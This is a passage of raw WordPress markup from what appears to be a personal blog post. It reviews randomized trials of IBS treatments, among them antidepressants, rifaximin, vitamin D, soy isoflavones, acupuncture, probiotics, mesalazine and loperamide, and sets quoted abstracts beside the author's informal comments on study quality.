vomiting, sleeplessness, depression, and for the mucus content of stools. The scores for tiredness during treatment had decreased less in the group receiving trimipramine than in the one receiving placebo. These improvements occurred already during the first week of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/4TbIAZAW-7T9BTfTM0AGL1OhXZWr1YZXApIxVEpelqmKt5Eol1FxXneuEGV4j7WjjsM7CYqmWMm8qHlFAIvoFHGkx1A_N4AJp0o6mUJC-Qzm6nVIdr-CXRj-q3SWrLnmt-jy0_dW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em>&nbsp;= 35), the placebo group (<em>n</em>&nbsp;= 34), the dropouts (<em>n</em>&nbsp;= 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph 